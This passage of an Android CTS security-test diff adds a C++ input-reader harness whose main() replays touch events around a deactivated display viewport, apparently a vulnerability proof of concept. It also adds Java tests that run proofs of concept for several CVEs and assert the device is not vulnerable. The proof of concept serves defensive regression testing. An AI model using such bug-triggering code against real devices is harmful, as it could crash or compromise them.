+ const std::unordered_map<LightColor, int32_t> intensities) {
+ mLightIntensities.emplace(rawId, std::move(intensities));
+ }
+
+ bool getLedState(int32_t deviceId, int32_t led) {
+ Device* device = getDevice(deviceId);
+ return device->leds.valueFor(led);
+ }
+
+ std::vector<std::string>& getExcludedDevices() { return mExcludedDevices; }
+
+ void addVirtualKeyDefinition(int32_t deviceId, const VirtualKeyDefinition& definition) {
+ Device* device = getDevice(deviceId);
+ device->virtualKeys.push_back(definition);
+ }
+
+ void enqueueEvent(nsecs_t when, nsecs_t readTime, int32_t deviceId, int32_t type, int32_t code,
+ int32_t value) {
+ std::scoped_lock<std::mutex> lock(mLock);
+ RawEvent event;
+ event.when = when;
+ event.readTime = readTime;
+ event.deviceId = deviceId;
+ event.type = type;
+ event.code = code;
+ event.value = value;
+ mEvents.push_back(event);
+
+ if (type == EV_ABS) {
+ setAbsoluteAxisValue(deviceId, code, value);
+ }
+ }
+
+ void setVideoFrames(
+ std::unordered_map<int32_t /*deviceId*/, std::vector<TouchVideoFrame>> videoFrames) {
+ mVideoFrames = std::move(videoFrames);
+ }
+
+private:
+ Device* getDevice(int32_t deviceId) const {
+ ssize_t index = mDevices.indexOfKey(deviceId);
+ return index >= 0 ? mDevices.valueAt(index) : nullptr;
+ }
+
+ Flags<InputDeviceClass> getDeviceClasses(int32_t deviceId) const override {
+ Device* device = getDevice(deviceId);
+ return device ? device->classes : Flags<InputDeviceClass>(0);
+ }
+
+ InputDeviceIdentifier getDeviceIdentifier(int32_t deviceId) const override {
+ Device* device = getDevice(deviceId);
+ return device ? device->identifier : InputDeviceIdentifier();
+ }
+
+ int32_t getDeviceControllerNumber(int32_t) const override { return 0; }
+
+ void getConfiguration(int32_t deviceId, PropertyMap* outConfiguration) const override {
+ Device* device = getDevice(deviceId);
+ if (device) {
+ *outConfiguration = device->configuration;
+ }
+ }
+
+ status_t getAbsoluteAxisInfo(int32_t deviceId, int axis,
+ RawAbsoluteAxisInfo* outAxisInfo) const override {
+ Device* device = getDevice(deviceId);
+ if (device && device->enabled) {
+ ssize_t index = device->absoluteAxes.indexOfKey(axis);
+ if (index >= 0) {
+ *outAxisInfo = device->absoluteAxes.valueAt(index);
+ return OK;
+ }
+ }
+ outAxisInfo->clear();
+ return -1;
+ }
+
+ bool hasRelativeAxis(int32_t deviceId, int axis) const override {
+ Device* device = getDevice(deviceId);
+ if (device) {
+ return device->relativeAxes.indexOfKey(axis) >= 0;
+ }
+ return false;
+ }
+
+ bool hasInputProperty(int32_t, int) const override { return false; }
+
+ bool hasMscEvent(int32_t deviceId, int mscEvent) const override final {
+ Device* device = getDevice(deviceId);
+ if (device) {
+ return mscEvent >= 0 && mscEvent <= MSC_MAX ? device->mscBitmask.test(mscEvent) : false;
+ }
+ return false;
+ }
+
+ status_t mapKey(int32_t deviceId, int32_t scanCode, int32_t usageCode, int32_t metaState,
+ int32_t* outKeycode, int32_t* outMetaState, uint32_t* outFlags) const override {
+ Device* device = getDevice(deviceId);
+ if (device) {
+ const KeyInfo* key = getKey(device, scanCode, usageCode);
+ if (key) {
+ if (outKeycode) {
+ *outKeycode = key->keyCode;
+ }
+ if (outFlags) {
+ *outFlags = key->flags;
+ }
+ if (outMetaState) {
+ *outMetaState = metaState;
+ }
+ return OK;
+ }
+ }
+ return NAME_NOT_FOUND;
+ }
+
+ const KeyInfo* getKey(Device* device, int32_t scanCode, int32_t usageCode) const {
+ if (usageCode) {
+ ssize_t index = device->keysByUsageCode.indexOfKey(usageCode);
+ if (index >= 0) {
+ return &device->keysByUsageCode.valueAt(index);
+ }
+ }
+ if (scanCode) {
+ ssize_t index = device->keysByScanCode.indexOfKey(scanCode);
+ if (index >= 0) {
+ return &device->keysByScanCode.valueAt(index);
+ }
+ }
+ return nullptr;
+ }
+
+ status_t mapAxis(int32_t, int32_t, AxisInfo*) const override { return NAME_NOT_FOUND; }
+
+ base::Result<std::pair<InputDeviceSensorType, int32_t>> mapSensor(int32_t deviceId,
+ int32_t absCode) {
+ Device* device = getDevice(deviceId);
+ if (!device) {
+ return Errorf("Sensor device not found.");
+ }
+ auto it = device->sensorsByAbsCode.find(absCode);
+ if (it == device->sensorsByAbsCode.end()) {
+ return Errorf("Sensor map not found.");
+ }
+ const SensorInfo& info = it->second;
+ return std::make_pair(info.sensorType, info.sensorDataIndex);
+ }
+
+ void setExcludedDevices(const std::vector<std::string>& devices) override {
+ mExcludedDevices = devices;
+ }
+
+ size_t getEvents(int, RawEvent* buffer, size_t bufferSize) override {
+ std::scoped_lock lock(mLock);
+
+ const size_t filledSize = std::min(mEvents.size(), bufferSize);
+ std::copy(mEvents.begin(), mEvents.begin() + filledSize, buffer);
+
+ mEvents.erase(mEvents.begin(), mEvents.begin() + filledSize);
+ mEventsCondition.notify_all();
+ return filledSize;
+ }
+
+ std::vector<TouchVideoFrame> getVideoFrames(int32_t deviceId) override {
+ auto it = mVideoFrames.find(deviceId);
+ if (it != mVideoFrames.end()) {
+ std::vector<TouchVideoFrame> frames = std::move(it->second);
+ mVideoFrames.erase(deviceId);
+ return frames;
+ }
+ return {};
+ }
+
+ int32_t getScanCodeState(int32_t deviceId, int32_t scanCode) const override {
+ Device* device = getDevice(deviceId);
+ if (device) {
+ ssize_t index = device->scanCodeStates.indexOfKey(scanCode);
+ if (index >= 0) {
+ return device->scanCodeStates.valueAt(index);
+ }
+ }
+ return AKEY_STATE_UNKNOWN;
+ }
+
+ int32_t getKeyCodeState(int32_t deviceId, int32_t keyCode) const override {
+ Device* device = getDevice(deviceId);
+ if (device) {
+ ssize_t index = device->keyCodeStates.indexOfKey(keyCode);
+ if (index >= 0) {
+ return device->keyCodeStates.valueAt(index);
+ }
+ }
+ return AKEY_STATE_UNKNOWN;
+ }
+
+ int32_t getSwitchState(int32_t deviceId, int32_t sw) const override {
+ Device* device = getDevice(deviceId);
+ if (device) {
+ ssize_t index = device->switchStates.indexOfKey(sw);
+ if (index >= 0) {
+ return device->switchStates.valueAt(index);
+ }
+ }
+ return AKEY_STATE_UNKNOWN;
+ }
+
+ status_t getAbsoluteAxisValue(int32_t deviceId, int32_t axis,
+ int32_t* outValue) const override {
+ Device* device = getDevice(deviceId);
+ if (device) {
+ ssize_t index = device->absoluteAxisValue.indexOfKey(axis);
+ if (index >= 0) {
+ *outValue = device->absoluteAxisValue.valueAt(index);
+ return OK;
+ }
+ }
+ *outValue = 0;
+ return -1;
+ }
+
+ // Return true if the device has non-empty key layout.
+ bool markSupportedKeyCodes(int32_t deviceId, size_t numCodes, const int32_t* keyCodes,
+ uint8_t* outFlags) const override {
+ bool result = false;
+ Device* device = getDevice(deviceId);
+ if (device) {
+ result = device->keysByScanCode.size() > 0 || device->keysByUsageCode.size() > 0;
+ for (size_t i = 0; i < numCodes; i++) {
+ for (size_t j = 0; j < device->keysByScanCode.size(); j++) {
+ if (keyCodes[i] == device->keysByScanCode.valueAt(j).keyCode) {
+ outFlags[i] = 1;
+ }
+ }
+ for (size_t j = 0; j < device->keysByUsageCode.size(); j++) {
+ if (keyCodes[i] == device->keysByUsageCode.valueAt(j).keyCode) {
+ outFlags[i] = 1;
+ }
+ }
+ }
+ }
+ return result;
+ }
+
+ bool hasScanCode(int32_t deviceId, int32_t scanCode) const override {
+ Device* device = getDevice(deviceId);
+ if (device) {
+ ssize_t index = device->keysByScanCode.indexOfKey(scanCode);
+ return index >= 0;
+ }
+ return false;
+ }
+
+ bool hasLed(int32_t deviceId, int32_t led) const override {
+ Device* device = getDevice(deviceId);
+ return device && device->leds.indexOfKey(led) >= 0;
+ }
+
+ void setLedState(int32_t deviceId, int32_t led, bool on) override {}
+
+ void getVirtualKeyDefinitions(
+ int32_t deviceId, std::vector<VirtualKeyDefinition>& outVirtualKeys) const override {
+ outVirtualKeys.clear();
+
+ Device* device = getDevice(deviceId);
+ if (device) {
+ outVirtualKeys = device->virtualKeys;
+ }
+ }
+
+ const std::shared_ptr<KeyCharacterMap> getKeyCharacterMap(int32_t) const override {
+ return nullptr;
+ }
+
+ bool setKeyboardLayoutOverlay(int32_t, std::shared_ptr<KeyCharacterMap>) override {
+ return false;
+ }
+
+ void vibrate(int32_t, const VibrationElement&) override {}
+
+ void cancelVibrate(int32_t) override {}
+
+ std::vector<int32_t> getVibratorIds(int32_t deviceId) override { return mVibrators; };
+
+ std::optional<int32_t> getBatteryCapacity(int32_t, int32_t) const override {
+ return BATTERY_CAPACITY;
+ }
+
+ std::optional<int32_t> getBatteryStatus(int32_t, int32_t) const override {
+ return BATTERY_STATUS;
+ }
+
+ const std::vector<int32_t> getRawBatteryIds(int32_t deviceId) { return {}; }
+
+ std::optional<RawBatteryInfo> getRawBatteryInfo(int32_t deviceId, int32_t batteryId) {
+ return std::nullopt;
+ }
+
+ const std::vector<int32_t> getRawLightIds(int32_t deviceId) override {
+ std::vector<int32_t> ids;
+ for (const auto& [rawId, info] : mRawLightInfos) {
+ ids.push_back(rawId);
+ }
+ return ids;
+ }
+
+ std::optional<RawLightInfo> getRawLightInfo(int32_t deviceId, int32_t lightId) override {
+ auto it = mRawLightInfos.find(lightId);
+ if (it == mRawLightInfos.end()) {
+ return std::nullopt;
+ }
+ return it->second;
+ }
+
+ void setLightBrightness(int32_t deviceId, int32_t lightId, int32_t brightness) override {
+ mLightBrightness.emplace(lightId, brightness);
+ }
+
+ void setLightIntensities(int32_t deviceId, int32_t lightId,
+ std::unordered_map<LightColor, int32_t> intensities) override {
+ mLightIntensities.emplace(lightId, intensities);
+ };
+
+ std::optional<int32_t> getLightBrightness(int32_t deviceId, int32_t lightId) override {
+ auto lightIt = mLightBrightness.find(lightId);
+ if (lightIt == mLightBrightness.end()) {
+ return std::nullopt;
+ }
+ return lightIt->second;
+ }
+
+ std::optional<std::unordered_map<LightColor, int32_t>> getLightIntensities(
+ int32_t deviceId, int32_t lightId) override {
+ auto lightIt = mLightIntensities.find(lightId);
+ if (lightIt == mLightIntensities.end()) {
+ return std::nullopt;
+ }
+ return lightIt->second;
+ };
+
+ virtual bool isExternal(int32_t) const { return false; }
+
+ void dump(std::string&) override {}
+
+ void monitor() override {}
+
+ void requestReopenDevices() override {}
+
+ void wake() override {}
+};
+
+// --- TestInputMapper---
+
+class TestInputMapper : public InputMapper {
+ uint32_t mSources;
+ int32_t mKeyboardType;
+ int32_t mMetaState;
+ KeyedVector<int32_t, int32_t> mKeyCodeStates;
+ KeyedVector<int32_t, int32_t> mScanCodeStates;
+ KeyedVector<int32_t, int32_t> mSwitchStates;
+ std::vector<int32_t> mSupportedKeyCodes;
+
+ std::mutex mLock;
+ std::condition_variable mStateChangedCondition;
+ bool mConfigureWasCalled GUARDED_BY(mLock);
+ bool mResetWasCalled GUARDED_BY(mLock);
+ bool mProcessWasCalled GUARDED_BY(mLock);
+ RawEvent mLastEvent GUARDED_BY(mLock);
+
+ std::optional<DisplayViewport> mViewport;
+
+public:
+ TestInputMapper(InputDeviceContext& deviceContext, uint32_t sources)
+ : InputMapper(deviceContext),
+ mSources(sources),
+ mKeyboardType(AINPUT_KEYBOARD_TYPE_NONE),
+ mMetaState(0),
+ mConfigureWasCalled(false),
+ mResetWasCalled(false),
+ mProcessWasCalled(false) {}
+
+ virtual ~TestInputMapper() {}
+
+ void setKeyboardType(int32_t keyboardType) { mKeyboardType = keyboardType; }
+
+ void setMetaState(int32_t metaState) { mMetaState = metaState; }
+ void setKeyCodeState(int32_t keyCode, int32_t state) {
+ mKeyCodeStates.replaceValueFor(keyCode, state);
+ }
+
+ void setScanCodeState(int32_t scanCode, int32_t state) {
+ mScanCodeStates.replaceValueFor(scanCode, state);
+ }
+
+ void setSwitchState(int32_t switchCode, int32_t state) {
+ mSwitchStates.replaceValueFor(switchCode, state);
+ }
+
+ void addSupportedKeyCode(int32_t keyCode) { mSupportedKeyCodes.push_back(keyCode); }
+
+private:
+ uint32_t getSources() override { return mSources; }
+
+ void populateDeviceInfo(InputDeviceInfo* deviceInfo) override {
+ InputMapper::populateDeviceInfo(deviceInfo);
+
+ if (mKeyboardType != AINPUT_KEYBOARD_TYPE_NONE) {
+ deviceInfo->setKeyboardType(mKeyboardType);
+ }
+ }
+
+ void configure(nsecs_t, const InputReaderConfiguration* config, uint32_t changes) override {
+ std::scoped_lock<std::mutex> lock(mLock);
+ mConfigureWasCalled = true;
+
+ // Find the associated viewport if exist.
+ const std::optional<uint8_t> displayPort = getDeviceContext().getAssociatedDisplayPort();
+ if (displayPort && (changes & InputReaderConfiguration::CHANGE_DISPLAY_INFO)) {
+ mViewport = config->getDisplayViewportByPort(*displayPort);
+ }
+
+ mStateChangedCondition.notify_all();
+ }
+
+ void reset(nsecs_t) override {
+ std::scoped_lock<std::mutex> lock(mLock);
+ mResetWasCalled = true;
+ mStateChangedCondition.notify_all();
+ }
+
+ void process(const RawEvent* rawEvent) override {
+ std::scoped_lock<std::mutex> lock(mLock);
+ mLastEvent = *rawEvent;
+ mProcessWasCalled = true;
+ mStateChangedCondition.notify_all();
+ }
+
+ int32_t getKeyCodeState(uint32_t, int32_t keyCode) override {
+ ssize_t index = mKeyCodeStates.indexOfKey(keyCode);
+ return index >= 0 ? mKeyCodeStates.valueAt(index) : AKEY_STATE_UNKNOWN;
+ }
+
+ int32_t getScanCodeState(uint32_t, int32_t scanCode) override {
+ ssize_t index = mScanCodeStates.indexOfKey(scanCode);
+ return index >= 0 ? mScanCodeStates.valueAt(index) : AKEY_STATE_UNKNOWN;
+ }
+
+ int32_t getSwitchState(uint32_t, int32_t switchCode) override {
+ ssize_t index = mSwitchStates.indexOfKey(switchCode);
+ return index >= 0 ? mSwitchStates.valueAt(index) : AKEY_STATE_UNKNOWN;
+ }
+
+ // Return true if the device has non-empty key layout.
+ bool markSupportedKeyCodes(uint32_t, size_t numCodes, const int32_t* keyCodes,
+ uint8_t* outFlags) override {
+ for (size_t i = 0; i < numCodes; i++) {
+ for (size_t j = 0; j < mSupportedKeyCodes.size(); j++) {
+ if (keyCodes[i] == mSupportedKeyCodes[j]) {
+ outFlags[i] = 1;
+ }
+ }
+ }
+ bool result = mSupportedKeyCodes.size() > 0;
+ return result;
+ }
+
+ virtual int32_t getMetaState() { return mMetaState; }
+
+ virtual void fadePointer() {}
+
+ virtual std::optional<int32_t> getAssociatedDisplay() {
+ if (mViewport) {
+ return std::make_optional(mViewport->displayId);
+ }
+ return std::nullopt;
+ }
+};
+
+// --- InstrumentedInputReader ---
+
+class InstrumentedInputReader : public InputReader {
+ std::queue<std::shared_ptr<InputDevice>> mNextDevices;
+
+public:
+ InstrumentedInputReader(std::shared_ptr<EventHubInterface> eventHub,
+ const sp<InputReaderPolicyInterface>& policy,
+ const sp<InputListenerInterface>& listener)
+ : InputReader(eventHub, policy, listener), mTestContext(this) {}
+
+ virtual ~InstrumentedInputReader() {}
+
+ void pushNextDevice(std::shared_ptr<InputDevice> device) { mNextDevices.push(device); }
+
+ std::shared_ptr<InputDevice> newDevice(int32_t deviceId, const std::string& name,
+ const std::string& location = "") {
+ InputDeviceIdentifier identifier;
+ identifier.name = name;
+ identifier.location = location;
+ int32_t generation = deviceId + 1;
+ return std::make_shared<InputDevice>(&mTestContext, deviceId, generation, identifier);
+ }
+
+ // Make the protected loopOnce method accessible to tests.
+ using InputReader::loopOnce;
+
+protected:
+ virtual std::shared_ptr<InputDevice> createDeviceLocked(int32_t eventHubId,
+ const InputDeviceIdentifier& identifier)
+ REQUIRES(mLock) {
+ if (!mNextDevices.empty()) {
+ std::shared_ptr<InputDevice> device(std::move(mNextDevices.front()));
+ mNextDevices.pop();
+ return device;
+ }
+ return InputReader::createDeviceLocked(eventHubId, identifier);
+ }
+
+ // --- TestInputReaderContext ---
+ class TestInputReaderContext : public ContextImpl {
+ int32_t mGlobalMetaState;
+ bool mUpdateGlobalMetaStateWasCalled;
+ int32_t mGeneration;
+
+ public:
+ TestInputReaderContext(InputReader* reader)
+ : ContextImpl(reader),
+ mGlobalMetaState(0),
+ mUpdateGlobalMetaStateWasCalled(false),
+ mGeneration(1) {}
+
+ virtual ~TestInputReaderContext() {}
+
+ void assertUpdateGlobalMetaStateWasCalled() { mUpdateGlobalMetaStateWasCalled = false; }
+
+ void setGlobalMetaState(int32_t state) { mGlobalMetaState = state; }
+
+ uint32_t getGeneration() { return mGeneration; }
+
+ void updateGlobalMetaState() override {
+ mUpdateGlobalMetaStateWasCalled = true;
+ ContextImpl::updateGlobalMetaState();
+ }
+
+ int32_t getGlobalMetaState() override {
+ return mGlobalMetaState | ContextImpl::getGlobalMetaState();
+ }
+
+ int32_t bumpGeneration() override {
+ mGeneration = ContextImpl::bumpGeneration();
+ return mGeneration;
+ }
+ } mTestContext;
+
+public:
+ TestInputReaderContext* getContext() { return &mTestContext; }
+};
+
+// --- InputMapperTest ---
+
+class InputMapperTest {
+public:
+ std::shared_ptr<TestEventHub> mTestEventHub;
+ sp<TestInputReaderPolicy> mTestPolicy;
+ sp<TestInputListener> mTestListener;
+ std::unique_ptr<InstrumentedInputReader> mReader;
+ std::shared_ptr<InputDevice> mDevice;
+
+ virtual void SetUp(Flags<InputDeviceClass> classes) {
+ mTestEventHub = std::make_unique<TestEventHub>();
+ mTestPolicy = new TestInputReaderPolicy();
+ mTestListener = new TestInputListener();
+ mReader = std::make_unique<InstrumentedInputReader>(mTestEventHub, mTestPolicy,
+ mTestListener);
+ mDevice = newDevice(DEVICE_ID, DEVICE_NAME, DEVICE_LOCATION, EVENTHUB_ID, classes);
+ }
+
+ void SetUp() { SetUp(DEVICE_CLASSES); }
+
+ void TearDown() {
+ mTestListener.clear();
+ mTestPolicy.clear();
+ }
+ virtual ~InputMapperTest() {}
+
+ void addConfigurationProperty(const char* key, const char* value) {
+ mTestEventHub->addConfigurationProperty(EVENTHUB_ID, String8(key), String8(value));
+ }
+
+ void configureDevice(uint32_t changes) {
+ if (!changes || (changes & InputReaderConfiguration::CHANGE_DISPLAY_INFO)) {
+ mReader->requestRefreshConfiguration(changes);
+ mReader->loopOnce();
+ }
+ mDevice->configure(ARBITRARY_TIME, mTestPolicy->getReaderConfiguration(), changes);
+ }
+
+ std::shared_ptr<InputDevice> newDevice(int32_t deviceId, const std::string& name,
+ const std::string& location, int32_t eventHubId,
+ Flags<InputDeviceClass> classes) {
+ InputDeviceIdentifier identifier;
+ identifier.name = name;
+ identifier.location = location;
+ std::shared_ptr<InputDevice> device =
+ std::make_shared<InputDevice>(mReader->getContext(), deviceId, DEVICE_GENERATION,
+ identifier);
+ mReader->pushNextDevice(device);
+ mTestEventHub->addDevice(eventHubId, name, classes);
+ mReader->loopOnce();
+ return device;
+ }
+
+ template <class T, typename... Args>
+ T& addMapperAndConfigure(Args... args) {
+ T& mapper = mDevice->addMapper<T>(EVENTHUB_ID, args...);
+ configureDevice(0);
+ mDevice->reset(ARBITRARY_TIME);
+ mapper.reset(ARBITRARY_TIME);
+ return mapper;
+ }
+
+ void setDisplayInfoAndReconfigure(int32_t displayId, int32_t width, int32_t height,
+ int32_t orientation, const std::string& uniqueId,
+ std::optional<uint8_t> physicalPort,
+ ViewportType viewportType) {
+ mTestPolicy->addDisplayViewport(displayId, width, height, orientation, true /*isActive*/,
+ uniqueId, physicalPort, viewportType);
+ configureDevice(InputReaderConfiguration::CHANGE_DISPLAY_INFO);
+ }
+
+ void clearViewports() { mTestPolicy->clearViewports(); }
+
+ void process(InputMapper& mapper, nsecs_t when, nsecs_t readTime, int32_t type, int32_t code,
+ int32_t value) {
+ RawEvent event;
+ event.when = when;
+ event.readTime = readTime;
+ event.deviceId = mapper.getDeviceContext().getEventHubId();
+ event.type = type;
+ event.code = code;
+ event.value = value;
+ mapper.process(&event);
+ mReader->loopOnce();
+ }
+ void Process_DeactivateViewport_AbortTouches();
+};
+
+void InputMapperTest::Process_DeactivateViewport_AbortTouches() {
+ SetUp();
+ addConfigurationProperty("touch.deviceType", "touchScreen");
+ mTestPolicy->addDisplayViewport(DISPLAY_ID, DISPLAY_WIDTH, DISPLAY_HEIGHT,
+ DISPLAY_ORIENTATION_0, true /*isActive*/, UNIQUE_ID, NO_PORT,
+ ViewportType::INTERNAL);
+ std::optional<DisplayViewport> optionalDisplayViewport =
+ mTestPolicy->getDisplayViewportByUniqueId(UNIQUE_ID);
+ DisplayViewport displayViewport = *optionalDisplayViewport;
+
+ configureDevice(InputReaderConfiguration::CHANGE_DISPLAY_INFO);
+ mTestEventHub->addAbsoluteAxis(EVENTHUB_ID, ABS_MT_POSITION_X, RAW_X_MIN, RAW_X_MAX, 0, 0);
+ mTestEventHub->addAbsoluteAxis(EVENTHUB_ID, ABS_MT_POSITION_Y, RAW_Y_MIN, RAW_Y_MAX, 0, 0);
+ MultiTouchInputMapper& mapper = addMapperAndConfigure<MultiTouchInputMapper>();
+
+ // Finger down
+ int32_t x = 100, y = 100;
+ process(mapper, ARBITRARY_TIME, READ_TIME, EV_ABS, ABS_MT_POSITION_X, x);
+ process(mapper, ARBITRARY_TIME, READ_TIME, EV_ABS, ABS_MT_POSITION_Y, y);
+ process(mapper, ARBITRARY_TIME, READ_TIME, EV_SYN, SYN_REPORT, 0);
+
+ NotifyMotionArgs motionArgs;
+
+ // Deactivate display viewport
+ displayViewport.isActive = false;
+ mTestPolicy->updateViewport(displayViewport);
+ configureDevice(InputReaderConfiguration::CHANGE_DISPLAY_INFO);
+
+ // Finger move
+ x += 10, y += 10;
+ process(mapper, ARBITRARY_TIME, READ_TIME, EV_ABS, ABS_MT_POSITION_X, x);
+ process(mapper, ARBITRARY_TIME, READ_TIME, EV_ABS, ABS_MT_POSITION_Y, y);
+ process(mapper, ARBITRARY_TIME, READ_TIME, EV_SYN, SYN_REPORT, 0);
+
+ // Reactivate display viewport
+ displayViewport.isActive = true;
+ mTestPolicy->updateViewport(displayViewport);
+ configureDevice(InputReaderConfiguration::CHANGE_DISPLAY_INFO);
+
+ // Finger move again
+ x += 10, y += 10;
+ process(mapper, ARBITRARY_TIME, READ_TIME, EV_ABS, ABS_MT_POSITION_X, x);
+ process(mapper, ARBITRARY_TIME, READ_TIME, EV_ABS, ABS_MT_POSITION_Y, y);
+ process(mapper, ARBITRARY_TIME, READ_TIME, EV_SYN, SYN_REPORT, 0);
+}
+
+} // namespace android
+
+int main() {
+ android::InputMapperTest inputMapperTest;
+ inputMapperTest.Process_DeactivateViewport_AbortTouches();
+ return 0;
+}
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2018_9547.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2018_9547.java
new file mode 100644
index 00000000000..1bb5e0a4679
--- /dev/null
+++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2018_9547.java
@@ -0,0 +1,36 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts;
+
+import android.platform.test.annotations.AsbSecurityTest;
+import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+@RunWith(DeviceJUnit4ClassRunner.class)
+public class CVE_2018_9547 extends SecurityTestCase {
+
+ /**
+ * b/114223584
+ * Vulnerability Behaviour: SIGSEGV in self
+ */
+ @AsbSecurityTest(cveBugId = 114223584)
+ @Test
+ public void testPocCVE_2018_9547() throws Exception {
+ AdbUtils.runPocAssertNoCrashesNotVulnerable("CVE-2018-9547", null, getDevice());
+ }
+}
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2018_9564.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2018_9564.java
new file mode 100644
index 00000000000..6e4d588205a
--- /dev/null
+++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2018_9564.java
@@ -0,0 +1,38 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts;
+
+import android.platform.test.annotations.AsbSecurityTest;
+import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+@RunWith(DeviceJUnit4ClassRunner.class)
+public class CVE_2018_9564 extends SecurityTestCase {
+
+ /**
+ * b/114238578
+ * Vulnerability Behaviour: SIGSEGV in self
+ */
+ @AsbSecurityTest(cveBugId = 114238578)
+ @Test
+ public void testPocCVE_2018_9564() throws Exception {
+ AdbUtils.assumeHasNfc(getDevice());
+ pocPusher.only64();
+ AdbUtils.runPocAssertNoCrashesNotVulnerable("CVE-2018-9564", null, getDevice());
+ }
+}
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2018_9593.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2018_9593.java
new file mode 100644
index 00000000000..e899b7ae9e9
--- /dev/null
+++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2018_9593.java
@@ -0,0 +1,38 @@
+/**
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts;
+
+import android.platform.test.annotations.AsbSecurityTest;
+import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+@RunWith(DeviceJUnit4ClassRunner.class)
+public class CVE_2018_9593 extends SecurityTestCase {
+
+ /**
+ * b/116722267
+ * Vulnerability Behaviour: SIGSEGV in self
+ */
+ @AsbSecurityTest(cveBugId = 116722267)
+ @Test
+ public void testPocCVE_2018_9593() throws Exception {
+ AdbUtils.assumeHasNfc(getDevice());
+ pocPusher.only64();
+ AdbUtils.runPocAssertNoCrashesNotVulnerable("CVE-2018-9593", null, getDevice());
+ }
+}
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2018_9594.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2018_9594.java
new file mode 100644
index 00000000000..d6e8fb59c0e
--- /dev/null
+++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2018_9594.java
@@ -0,0 +1,38 @@
+/**
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts;
+
+import android.platform.test.annotations.AsbSecurityTest;
+import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+@RunWith(DeviceJUnit4ClassRunner.class)
+public class CVE_2018_9594 extends SecurityTestCase {
+
+ /**
+ * b/116791157
+ * Vulnerability Behaviour: SIGSEGV in self
+ */
+ @AsbSecurityTest(cveBugId = 116791157)
+ @Test
+ public void testPocCVE_2018_9594() throws Exception {
+ AdbUtils.assumeHasNfc(getDevice());
+ pocPusher.only64();
+ AdbUtils.runPocAssertNoCrashesNotVulnerable("CVE-2018-9594", null, getDevice());
+ }
+}
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_29368.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2020_29368.java
index b0f19ada221..43a058c5543 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_29368.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2020_29368.java
@@ -23,7 +23,7 @@ import org.junit.runner.RunWith;
import static org.junit.Assert.*;
@RunWith(DeviceJUnit4ClassRunner.class)
-public class CVE_2021_29368 extends SecurityTestCase {
+public class CVE_2020_29368 extends SecurityTestCase {
/**
* b/174738029
@@ -31,7 +31,7 @@ public class CVE_2021_29368 extends SecurityTestCase {
*/
@AsbSecurityTest(cveBugId = 174738029)
@Test
- public void testPocCVE_2021_29368() throws Exception {
- AdbUtils.runPocAssertExitStatusNotVulnerable("CVE-2021-29368", getDevice(),60);
+ public void testPocCVE_2020_29368() throws Exception {
+ AdbUtils.runPocAssertExitStatusNotVulnerable("CVE-2020-29368", getDevice(),60);
}
}
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2020_29661.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2020_29661.java
index 80de2890b69..db50504616d 100755
--- a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2020_29661.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2020_29661.java
@@ -30,7 +30,7 @@ public class CVE_2020_29661 extends SecurityTestCase {
*
*/
@Test
